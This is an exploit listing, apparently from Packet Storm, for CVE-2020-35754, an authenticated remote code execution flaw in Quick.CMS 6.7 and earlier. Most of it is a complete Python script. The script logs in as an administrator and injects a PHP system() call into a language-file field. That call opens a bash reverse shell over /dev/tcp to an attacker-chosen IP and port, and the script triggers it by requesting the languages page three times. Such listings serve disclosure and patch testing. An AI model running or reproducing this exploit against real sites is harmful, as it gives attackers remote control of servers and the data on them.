Quick.CMS 6.7 Remote Code Execution

Quick.CMS versions 6.7 and below suffer from an authenticated remote code execution vulnerability.


MD5 | 38281cb7d1c19fc0da47fcc9734d6159

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# Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)
# Date: 2020-12-28
# Exploit Author: mari0x00
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip
# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/
# Version: <= 6.7
# CVE : CVE-2020-35754

#!/usr/bin/python3

import requests
import sys
from termcolor import colored
from time import sleep

print(colored('''###########################################################''',"red"))
print(colored('''######    Quick.CMS authenticated RCE by mari0x00   #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")

if len(sys.argv) != 6:
    print((colored("[~] Usage : python3 quickpwn.py <url> <username> <password> <IP> <PORT>","red")))
    print((colored("[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ [email protected] pass123 192.168.101.101 4444","red")))
    exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]


#Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}


#Authenticate
print((colored("[+] Attempting user login","blue")))

login_data = {
    "sEmail": username,
    "sPass": password,
    "bAcceptLicense": "1",
    "iAcceptLicense": "true"
   }

login = s.post(url+"admin.php?p=login", login_data, headers=headers)
sleep(0.5)


#Exploit
print((colored("[+] Adding shell command","blue")))
payload = "Back end\\\"; system('/bin/bash -c \\'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1\\''); //"

shell = {
    "sOption": "save",
    "Back_end_only": payload
}

exploit = s.post(url+"admin.php?p=languages&sLangEdit=en", shell, headers=headers)
sleep(1)

#Triggering reverse shell (three times just in case)
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)

Source: packetstormsecurity.com
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